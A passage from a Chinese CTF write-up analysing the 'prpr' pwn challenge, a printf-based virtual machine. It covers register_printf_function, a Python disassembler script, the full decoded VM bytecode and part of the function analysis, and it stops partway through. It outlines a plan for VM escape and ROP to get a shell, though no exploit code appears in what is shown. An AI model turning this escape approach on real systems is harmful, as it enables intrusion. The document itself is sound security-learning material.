前言

这算是我打的第二个大型赛事,作为pwn手就出了一道题目,丢人了,感觉时间都浪费在chat_with_me那一道题目上了。一开始思路没搞对,以为是house_of_banana,学了一个下午后给它本地做出来了,但是远程没跑出来,猜测是环境的问题,ld加载的地址偏移问题,后面又换思路才弄出来,被自己菜哭了。

这道prpr算是我做的第4道vm题目了,也是难度最大的一集。队里面的heshi师傅都做了40个小时才做出来,太难了!!!

正文

这道题算是RE中的“printf虚拟机”。这种VM的特点是使用register_printf_function函数,注册一些函数,用来解析某些特定的格式化字符串

前置知识

自定义printf虚拟机

众所周知,printf中可以自定义格式占位符(spec)的行为,就像使用%x可以输出一个数的十六进制一样,在使用register_printf_function后可以将指定spec与指定转换函数绑定,从而自定义输出行为。

register_printf_function函数

用于printf虚拟机使用register_printf_function函数用于注册新的输出转换,需要在printf虚拟机前执行,一般为了掩人耳目会放在init中作为初始函数表的一部分。其函数定义如下:

int register_printf_function (int spec, printf_function handler-function, 
                              printf_arginfo_function arginfo-function)

其参数含义如下:

  • spec:格式占位符。

spec'A'时,该函数注册的是%A的输出转换。可以覆盖如%x、%s等默认spec的定义,建议一般使用大写字母以示区分。

  • handler-function:处理该spec的转换函数,其函数定义如下:

int function (FILE *stream, const struct printf_info *info, const void *const *args)

简单来说,info是在解析到spec时获取的信息结构体,如解析到%10X时,info -> width = 10(后文也会用到);args是获取的参 数列表,通过上文的arginfo-function指定参数个数n以后,它会在printf的参数列表中依次获取n个参数。

  • arginfo-function:指定该spec所需的参数个数和参数类型,函数定义如下:

size_t parse_printf_format (const char *template, size_t n, int *argtypes)

这里需要关注的是argtypes和返回值,argtypes是一个数组,分别指定了各参数的类型,如PA_INT、PA_CHAR等,最后返回该spec 所需的参数个数。

解题方法

  1. 找到register_printf_function,记录各格式占位符的作用

  2. 编写VM解释器将format字符串转换为汇编

  3. 理解这个vm的内存机制。随后找到vm的漏洞,拿到vm_shellcode的执行权。

  4. 想办法构造vm_shellcode,实现vm逃逸(即用vm的指令泄露主程序的信息,或者改写主程序的内存)

  5. vm逃逸之后,就可以控制主程序进入rop,拿到shell或者flag

题目分析

如果没做过printf虚拟机的话,这道题上来看到main函数里只有一句printf,大概会觉得很莫名其妙:

将格式化字符串逆向完毕后结果如下:

其中虚拟机指令片段在.rodata段0x3140处:

这里参考星盟的wp写了一个脚本对指令进行翻译:

#coding:utf8
from pwn import *

context(arch='i386')

map2=['{ "%x", 0   }',   
  '{ "%a", 0   }',   
  '{ "%Y", 1   }',   
  '{ "%U", 255 }',   
  '{ "%k", 1   }',   
  '{ "%r", 0   }',   
  '{ "%S", 0   }',   
  '{ "%k", 1   }',   
  '{ "%U", 0   }',   
  '{ "%r", 0   }',   
  '{ "%S", 0   }',   
  '{ "%a", 0   }',   
  '{ "%Y", 2   }',   
  '{ "%U", 63  }',   
  '{ "%k", 2   }',   
  '{ "%r", 0   }',   
  '{ "%S", 0   }',   
  '{ "%k", 2   }',   
  '{ "%U", 0   }',   
  '{ "%r", 0   }',   
  '{ "%S", 0   }',   
  '{ "%k", 2   }',   
  '{ "%U", 4   }',   
  '{ "%i", 0   }',   
  '{ "%c", 0   }',   
  '{ "%k", 1   }',  
  '{ "%D", 0   }',   
  '{ "%k", 2   }',   
  '{ "%U", 4   }',   
  '{ "%i", 0   }',   
  '{ "%b", 0   }',   
  '{ "%n", 0   }',  
  '{ "%a", 0   }',   
  '{ "%Y", 3   }',   
  '{ "%a", 0   }',   
  '{ "%Y", 4   }', 
  '{ "%U", 63  }',   
  '{ "%k", 4   }',
  '{ "%r", 0   }',
  '{ "%S", 0   }',
  '{ "%k", 4   }',
  '{ "%U", 0   }',
  '{ "%r", 0   }',
  '{ "%S", 0   }',
  '{ "%U", 0   }',
  '{ "%Y", 5   }',
  '{ "%k", 4   }',
  '{ "%k", 5   }',
  '{ "%r", 0   }',
  '{ "%S", 59  }',
  '{ "%g", 60  }',
  '{ "%k", 3   }',
  '{ "%C", 0   }',
  '{ "%y", 0   }',
  '{ "%k", 5   }',
  '{ "%U", 1   }',
  '{ "%A", 0   }',
  '{ "%Y", 5   }',
  '{ "%N", 46  }',
  '{ "%n", 0   }',
  '{ "%a", 0   }',
  '{ "%k", 5   }',
  '{ "%#X", 0  }',
  '{ "%k", 5   }',
  '{ "%#V", 0  }',
  '{ "%U", 255 }',
  '{ "%M", 0   }',
  '{ "%S", 0   }',
  '{ "%k", 5   }',
  '{ "%#V", 0  }',
  '{ "%n", 0   }',
  '{ "%a", 0   }',
  '{ "%Y", 0   }',
  '{ "%U", 1   }',
  '{ "%k", 0   }',
  '{ "%M", 0   }',
  '{ "%T", 79  }',
  '{ "%g", 1   }',
  '{ "%N", 71  }',
  '{ "%U", 2   }',
  '{ "%k", 0   }',
  '{ "%M", 0   }',
  '{ "%T", 85  }',
  '{ "%g", 32  }',
  '{ "%N", 71  }',
  '{ "%U", 3   }',
  '{ "%k", 0   }',
  '{ "%M", 0   }',
  '{ "%T", 91  }',
  '{ "%g", 110 }',
  '{ "%N", 71  }',
  '{ "%U", 4   }',
  '{ "%k", 0   }',
  '{ "%M", 0   }',
  '{ "%T", 97  }',
  '{ "%g", 141 }',
  '{ "%N", 71  }',
  '{ "%U", 5   }',
  '{ "%k", 0   }',
  '{ "%M", 0   }',
  '{ "%T", 103 }',
  '{ "%g", 178 }',
  '{ "%N", 71  }',
  '{ "%U", 6   }',
  '{ "%k", 0   }',
  '{ "%M", 0   }',
  '{ "%T", 109 }',
  '{ "%g", 209 }',
  '{ "%N", 71  }',
  '{ "%x", 0   }',
  '{ "%a", 0   }',
  '{ "%Y", 1   }',
  '{ "%U", 255 }',
  '{ "%k", 1   }',
  '{ "%r", 0   }',
  '{ "%S", 0   }',
  '{ "%k", 1   }',
  '{ "%U", 0   }',
  '{ "%r", 0   }',
  '{ "%S", 0   }',
  '{ "%a", 0   }',
  '{ "%Y", 2   }',
  '{ "%U", 63  }',
  '{ "%k", 2   }',
  '{ "%r", 0   }',
  '{ "%S", 0   }',
  '{ "%k", 2   }',
  '{ "%U", 0   }',
  '{ "%r", 0   }',
  '{ "%S", 0   }',
  '{ "%k", 2   }',
  '{ "%U", 4   }',
  '{ "%i", 0   }',
  '{ "%c", 0   }',
  '{ "%k", 1   }',
  '{ "%H", 0   }',
  '{ "%k", 2   }',
  '{ "%U", 4   }',
  '{ "%i", 0   }',
  '{ "%b", 0   }',
  '{ "%n", 0   }',
  '{ "%a", 0   }',
  '{ "%Y", 3   }',
  '{ "%a", 0   }',
  '{ "%Y", 4   }',
  '{ "%U", 62  }',
  '{ "%k", 4   }',
  '{ "%r", 0   }',
  '{ "%S", 0   }',
  '{ "%k", 4   }',
  '{ "%U", 0   }',
  '{ "%r", 0   }',
  '{ "%S", 0   }',
  '{ "%U", 0   }',
  '{ "%Y", 5   }',
  '{ "%k", 4   }',
  '{ "%k", 5   }',
  '{ "%r", 0   }',
  '{ "%S", 177 }',
  '{ "%g", 60  }',
  '{ "%k", 3   }',
  '{ "%G", 0   }',
  '{ "%k", 5   }',
  '{ "%#X", 0  }',
  '{ "%k", 5   }',
  '{ "%#V", 0  }',
  '{ "%U", 255 }',
  '{ "%M", 0   }',
  '{ "%S", 0   }',
  '{ "%k", 5   }',
  '{ "%#V", 0  }',
  '{ "%y", 0   }',
  '{ "%k", 5   }',
  '{ "%U", 1   }',
  '{ "%A", 0   }',
  '{ "%Y", 5   }',
  '{ "%N", 155 }',
  '{ "%n", 0   }',
  '{ "%a", 0   }',
  '{ "%Y", 1   }',
  '{ "%U", 255 }',
  '{ "%k", 1   }',
  '{ "%r", 0   }',
  '{ "%S", 0   }',
  '{ "%k", 1   }',
  '{ "%U", 0   }',
  '{ "%r", 0   }',
  '{ "%S", 0   }',
  '{ "%a", 0   }',
  '{ "%Y", 2   }',
  '{ "%U", 63  }',
  '{ "%k", 2   }',
  '{ "%r", 0   }',
  '{ "%S", 0   }',
  '{ "%k", 2   }',
  '{ "%U", 0   }',
  '{ "%r", 0   }',
  '{ "%S", 0   }',
  '{ "%k", 2   }',
  '{ "%U", 4   }',
  '{ "%i", 0   }',
  '{ "%c", 0   }',
  '{ "%k", 1   }',
  '{ "%F", 0   }',
  '{ "%k", 2   }',
  '{ "%U", 4   }',
  '{ "%i", 0   }',
  '{ "%b", 0   }',
  '{ "%n", 0   }',
  '{ "%a", 0   }',
  '{ "%Y", 3   }',
  '{ "%a", 0   }',
  '{ "%Y", 4   }',
  '{ "%U", 63  }',
  '{ "%k", 4   }',
  '{ "%r", 0   }',
  '{ "%S", 0   }',
  '{ "%k", 4   }',
  '{ "%U", 0   }',
  '{ "%r", 0   }',
  '{ "%S", 0   }',
  '{ "%U", 0   }',
  '{ "%Y", 5   }',
  '{ "%k", 4   }',
  '{ "%k", 5   }',
  '{ "%r", 0   }',
  '{ "%S", 245 }',
  '{ "%g", 60  }',
  '{ "%k", 3   }',
  '{ "%E", 0   }',
  '{ "%k", 5   }',
  '{ "%#X", 0  }',
  '{ "%k", 5   }',
  '{ "%#V", 0  }',
  '{ "%U", 255 }',
  '{ "%M", 0   }',
  '{ "%S", 0   }',
  '{ "%k", 5   }',
  '{ "%#V", 0  }',
  '{ "%y", 0   }',
  '{ "%k", 5   }',
  '{ "%U", 1   }',
  '{ "%A", 0   }',
  '{ "%Y", 5   }',
  '{ "%N", 223 }',
  '{ "%n", 0   }',
  '{ "%x", 0   }',
  '{ "%x", 0   }',
  '{ "%x", 0   }',
  '{ "%x", 0   }']

map = {
    'O': 'logo',
    'A': 'add [rsp-8],[rsp]; pop rsp;',
    'C': 'and [rsp-8],[rsp]; pop rsp;',
    'D': 'HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] & vmcodes->vmdata[offset]->data[0]; pop rsp;',
    'E': 'or[rsp-8],[rsp]; pop rsp;',
    'F': 'HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] | vmcodes->vmdata[offset]->data[0]; pop rsp;',
    'G': 'xor [rsp-8],[rsp]; pop rsp;',
    'H': 'HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] ^ vmcodes->vmdata[offset]->data[0]; pop rsp;',
    'i': 'mult [rsp-8],[rsp]; pop rsp;',
    'J': 'shl vmcodes->stack[rsp] , vmcodes->stack[rsp + 1];',
    'K': 'shr vmcodes->stack[rsp] , vmcodes->stack[rsp + 1];',
    'r': 'greater',
    'M': 'eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;',
    'N': 'jmp',
    'S': 'cmp vmcodes->stack[rsp-- + 1] , 0; jnz',
    'T': 'cmp vmcodes->stack[rsp-- + 1] , 0; jz',
    'U': 'push',
    'V': 'load',
    'k': 'push register',
    'X': 'store',
    'Y': 'pop register',
    'y': '__printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;',
    'a': 'scanf("%d",&vmcodes->stack[++stack + 1]);',
    'b': 'write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;',
    'c': 'read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;',
    'f': 'dec sp',
    'g': 'call',
    'n': 'return',
    'x': 'exit_'
}

with open('prpr', 'rb') as f:
    content = f.read()

code = content[0x3140:0x3140 + 250 * 12]
no_args = ['exit_', 'return', 'dec sp', 'scanf("%d",&vmcodes->stack[++stack + 1]);', 'add [rsp-8],[rsp]; pop rsp;',
           '__printf_chk(1LL, "%d\n", vmcodes->stack[v3 + 1])]; pop[ stack;', 
           'write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;',
           'mult [rsp-8],[rsp]; pop rsp;', 'read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;', 
           'and [rsp-8],[rsp]; pop rsp;', 'xor [rsp-8],[rsp]; pop rsp;', 'or[rsp-8],[rsp]; pop rsp;',
           'HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] ^ vmcodes->vmdata[offset]->data[0]; pop rsp;',
           'HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] | vmcodes->vmdata[offset]->data[0]; pop rsp;', 
           'HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] & vmcodes->vmdata[offset]->data[0]; pop rsp;',
           'greater','eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;',
           '__printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;']

for i in range(250):
    opcode = chr(code[i * 12 + 1])
    dont_change_sp = False
    if opcode == '#':
        opcode = chr(code[i * 12 + 2])
        dont_change_sp = True
    op_str = opcode
    if opcode == 'V':
        if dont_change_sp:
            op_str = f"'{i}'{map2[i]} *sp = mem[*sp]"
        else:
            op_str = f"'{i}'{map2[i]} push mem['{code[i * 12 + 8]}]"

    elif opcode == 'X':
        if dont_change_sp:
            op_str = f"'{i}'{map2[i]} mem[pop()]=pop()"
        else:
            op_str = f"'{i}'{map2[i]} mem['{code[i * 12 + 8]}]=pop()"
    elif opcode in map:
        op_str = f"'{i}'{map2[i]} {map[opcode]}"
        if map[opcode] not in no_args:
            if not op_str.endswith("_r"):
                op_str += ' '
            op_str += str(code[i * 12 + 8])
    else:
        op_str = opcode
    print(op_str)

输出如下:

'0'{ "%x", 0   } exit_
'1'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'2'{ "%Y", 1   } pop register 1
'3'{ "%U", 255 } push 255
'4'{ "%k", 1   } push register 1
'5'{ "%r", 0   } greater
'6'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'7'{ "%k", 1   } push register 1
'8'{ "%U", 0   } push 0
'9'{ "%r", 0   } greater
'10'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'11'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'12'{ "%Y", 2   } pop register 2
'13'{ "%U", 63  } push 63
'14'{ "%k", 2   } push register 2
'15'{ "%r", 0   } greater
'16'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'17'{ "%k", 2   } push register 2
'18'{ "%U", 0   } push 0
'19'{ "%r", 0   } greater
'20'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'21'{ "%k", 2   } push register 2
'22'{ "%U", 4   } push 4
'23'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'24'{ "%c", 0   } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'25'{ "%k", 1   } push register 1
'26'{ "%D", 0   } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] & vmcodes->vmdata[offset]->data[0]; pop rsp;
'27'{ "%k", 2   } push register 2
'28'{ "%U", 4   } push 4
'29'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'30'{ "%b", 0   } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'31'{ "%n", 0   } return
'32'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'33'{ "%Y", 3   } pop register 3
'34'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'35'{ "%Y", 4   } pop register 4
'36'{ "%U", 63  } push 63
'37'{ "%k", 4   } push register 4
'38'{ "%r", 0   } greater
'39'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'40'{ "%k", 4   } push register 4
'41'{ "%U", 0   } push 0
'42'{ "%r", 0   } greater
'43'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'44'{ "%U", 0   } push 0
'45'{ "%Y", 5   } pop register 5
'46'{ "%k", 4   } push register 4
'47'{ "%k", 5   } push register 5
'48'{ "%r", 0   } greater
'49'{ "%S", 59  } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 59
'50'{ "%g", 60  } call 60
'51'{ "%k", 3   } push register 3
'52'{ "%C", 0   } and [rsp-8],[rsp]; pop rsp;
'53'{ "%y", 0   } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'54'{ "%k", 5   } push register 5
'55'{ "%U", 1   } push 1
'56'{ "%A", 0   } add [rsp-8],[rsp]; pop rsp;
'57'{ "%Y", 5   } pop register 5
'58'{ "%N", 46  } jmp 46
'59'{ "%n", 0   } return
'60'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'61'{ "%k", 5   } push register 5
'62'{ "%#X", 0  } mem[pop()]=pop()
'63'{ "%k", 5   } push register 5
'64'{ "%#V", 0  } *sp = mem[*sp]
'65'{ "%U", 255 } push 255
'66'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'67'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'68'{ "%k", 5   } push register 5
'69'{ "%#V", 0  } *sp = mem[*sp]
'70'{ "%n", 0   } return
'71'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'72'{ "%Y", 0   } pop register 0
'73'{ "%U", 1   } push 1
'74'{ "%k", 0   } push register 0
'75'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'76'{ "%T", 79  } cmp vmcodes->stack[rsp-- + 1] , 0; jz 79
'77'{ "%g", 1   } call 1
'78'{ "%N", 71  } jmp 71
'79'{ "%U", 2   } push 2
'80'{ "%k", 0   } push register 0
'81'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'82'{ "%T", 85  } cmp vmcodes->stack[rsp-- + 1] , 0; jz 85
'83'{ "%g", 32  } call 32
'84'{ "%N", 71  } jmp 71
'85'{ "%U", 3   } push 3
'86'{ "%k", 0   } push register 0
'87'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'88'{ "%T", 91  } cmp vmcodes->stack[rsp-- + 1] , 0; jz 91
'89'{ "%g", 110 } call 110
'90'{ "%N", 71  } jmp 71
'91'{ "%U", 4   } push 4
'92'{ "%k", 0   } push register 0
'93'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'94'{ "%T", 97  } cmp vmcodes->stack[rsp-- + 1] , 0; jz 97
'95'{ "%g", 141 } call 141
'96'{ "%N", 71  } jmp 71
'97'{ "%U", 5   } push 5
'98'{ "%k", 0   } push register 0
'99'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'100'{ "%T", 103 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 103
'101'{ "%g", 178 } call 178
'102'{ "%N", 71  } jmp 71
'103'{ "%U", 6   } push 6
'104'{ "%k", 0   } push register 0
'105'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'106'{ "%T", 109 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 109
'107'{ "%g", 209 } call 209
'108'{ "%N", 71  } jmp 71
'109'{ "%x", 0   } exit_
'110'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'111'{ "%Y", 1   } pop register 1
'112'{ "%U", 255 } push 255
'113'{ "%k", 1   } push register 1
'114'{ "%r", 0   } greater
'115'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'116'{ "%k", 1   } push register 1
'117'{ "%U", 0   } push 0
'118'{ "%r", 0   } greater
'119'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'120'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'121'{ "%Y", 2   } pop register 2
'122'{ "%U", 63  } push 63
'123'{ "%k", 2   } push register 2
'124'{ "%r", 0   } greater
'125'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'126'{ "%k", 2   } push register 2
'127'{ "%U", 0   } push 0
'128'{ "%r", 0   } greater
'129'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'130'{ "%k", 2   } push register 2
'131'{ "%U", 4   } push 4
'132'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'133'{ "%c", 0   } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'134'{ "%k", 1   } push register 1
'135'{ "%H", 0   } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] ^ vmcodes->vmdata[offset]->data[0]; pop rsp;
'136'{ "%k", 2   } push register 2
'137'{ "%U", 4   } push 4
'138'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'139'{ "%b", 0   } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'140'{ "%n", 0   } return
'141'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'142'{ "%Y", 3   } pop register 3
'143'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'144'{ "%Y", 4   } pop register 4
'145'{ "%U", 62  } push 62
'146'{ "%k", 4   } push register 4
'147'{ "%r", 0   } greater
'148'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'149'{ "%k", 4   } push register 4
'150'{ "%U", 0   } push 0
'151'{ "%r", 0   } greater
'152'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'153'{ "%U", 0   } push 0
'154'{ "%Y", 5   } pop register 5
'155'{ "%k", 4   } push register 4
'156'{ "%k", 5   } push register 5
'157'{ "%r", 0   } greater
'158'{ "%S", 177 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 177
'159'{ "%g", 60  } call 60
'160'{ "%k", 3   } push register 3
'161'{ "%G", 0   } xor [rsp-8],[rsp]; pop rsp;
'162'{ "%k", 5   } push register 5
'163'{ "%#X", 0  } mem[pop()]=pop()
'164'{ "%k", 5   } push register 5
'165'{ "%#V", 0  } *sp = mem[*sp]
'166'{ "%U", 255 } push 255
'167'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'168'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'169'{ "%k", 5   } push register 5
'170'{ "%#V", 0  } *sp = mem[*sp]
'171'{ "%y", 0   } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'172'{ "%k", 5   } push register 5
'173'{ "%U", 1   } push 1
'174'{ "%A", 0   } add [rsp-8],[rsp]; pop rsp;
'175'{ "%Y", 5   } pop register 5
'176'{ "%N", 155 } jmp 155
'177'{ "%n", 0   } return
'178'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'179'{ "%Y", 1   } pop register 1
'180'{ "%U", 255 } push 255
'181'{ "%k", 1   } push register 1
'182'{ "%r", 0   } greater
'183'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'184'{ "%k", 1   } push register 1
'185'{ "%U", 0   } push 0
'186'{ "%r", 0   } greater
'187'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'188'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'189'{ "%Y", 2   } pop register 2
'190'{ "%U", 63  } push 63
'191'{ "%k", 2   } push register 2
'192'{ "%r", 0   } greater
'193'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'194'{ "%k", 2   } push register 2
'195'{ "%U", 0   } push 0
'196'{ "%r", 0   } greater
'197'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'198'{ "%k", 2   } push register 2
'199'{ "%U", 4   } push 4
'200'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'201'{ "%c", 0   } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'202'{ "%k", 1   } push register 1
'203'{ "%F", 0   } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] | vmcodes->vmdata[offset]->data[0]; pop rsp;
'204'{ "%k", 2   } push register 2
'205'{ "%U", 4   } push 4
'206'{ "%i", 0   } mult [rsp-8],[rsp]; pop rsp;
'207'{ "%b", 0   } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'208'{ "%n", 0   } return
'209'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'210'{ "%Y", 3   } pop register 3
'211'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'212'{ "%Y", 4   } pop register 4
'213'{ "%U", 63  } push 63
'214'{ "%k", 4   } push register 4
'215'{ "%r", 0   } greater
'216'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'217'{ "%k", 4   } push register 4
'218'{ "%U", 0   } push 0
'219'{ "%r", 0   } greater
'220'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'221'{ "%U", 0   } push 0
'222'{ "%Y", 5   } pop register 5
'223'{ "%k", 4   } push register 4
'224'{ "%k", 5   } push register 5
'225'{ "%r", 0   } greater
'226'{ "%S", 245 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 245
'227'{ "%g", 60  } call 60
'228'{ "%k", 3   } push register 3
'229'{ "%E", 0   } or[rsp-8],[rsp]; pop rsp;
'230'{ "%k", 5   } push register 5
'231'{ "%#X", 0  } mem[pop()]=pop()
'232'{ "%k", 5   } push register 5
'233'{ "%#V", 0  } *sp = mem[*sp]
'234'{ "%U", 255 } push 255
'235'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'236'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'237'{ "%k", 5   } push register 5
'238'{ "%#V", 0  } *sp = mem[*sp]
'239'{ "%y", 0   } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'240'{ "%k", 5   } push register 5
'241'{ "%U", 1   } push 1
'242'{ "%A", 0   } add [rsp-8],[rsp]; pop rsp;
'243'{ "%Y", 5   } pop register 5
'244'{ "%N", 223 } jmp 223
'245'{ "%n", 0   } return
'246'{ "%x", 0   } exit_
'247'{ "%x", 0   } exit_
'248'{ "%x", 0   } exit_
'249'{ "%x", 0   } exit_

注意程序一开始没有执行exit_,它是从第71条指令:scanf("%d",&vmcodes->stack[++stack + 1]);;开始执行的

分析一下这段执行的vmcode,功能一共有7个,

function1

'71'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'72'{ "%Y", 0   } pop register 0
'73'{ "%U", 1   } push 1
'74'{ "%k", 0   } push register 0
'75'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'76'{ "%T", 79  } cmp vmcodes->stack[rsp-- + 1] , 0; jz 79
'77'{ "%g", 1   } call 1
'78'{ "%N", 71  } jmp 71

'1'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'2'{ "%Y", 1   } pop register 1
'3'{ "%U", 255 } push 255
'4'{ "%k", 1   } push register 1
'5'{ "%r", 0   } greater
'6'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'7'{ "%k", 1   } push register 1
'8'{ "%U", 0   } push 0
'9'{ "%r", 0   } greater
'10'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'11'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'12'{ "%Y", 2   } pop register 2
'13'{ "%U", 63  } push 63
'14'{ "%k", 2   } push register 2
'15'{ "%r", 0   } greater
'16'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'17'{ "%k", 2   } push register 2
'18'{ "%U", 0   } push 0
'19'{ "%r", 0   } greater
'20'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'21'{ "%k", 2   } push register 2
'22'{ "%U", 4   } push 4
'23'{ "%i", 0   } mult [rsp],[rsp+1]; pop rsp;
'24'{ "%c", 0   } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'25'{ "%k", 1   } push register 1
'26'{ "%D", 0   } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] & vmcodes->vmdata[offset]->data[0]; pop rsp;
'27'{ "%k", 2   } push register 2
'28'{ "%U", 4   } push 4
'29'{ "%i", 0   } mult [rsp],[rsp+1]; pop rsp;
'30'{ "%b", 0   } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'31'{ "%n", 0   } return

function2

'79'{ "%U", 2   } push 2
'80'{ "%k", 0   } push register 0
'81'{ "%M", 0   } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'82'{ "%T", 85  } cmp vmcodes->stack[rsp-- + 1] , 0; jz 85
'83'{ "%g", 32  } call 32
'84'{ "%N", 71  } jmp 71

'32'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'33'{ "%Y", 3   } pop register 3
'34'{ "%a", 0   } scanf("%d",&vmcodes->stack[++stack + 1]);
'35'{ "%Y", 4   } pop register 4
'36'{ "%U", 63  } push 63
'37'{ "%k", 4   } push register 4
'38'{ "%r", 0   } greater
'39'{ "%S", 0   } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'40'{ "%k", 4   } push register 4
'41'{ "%U", 0   } push 0
'42'{ "%r", 0   } greater
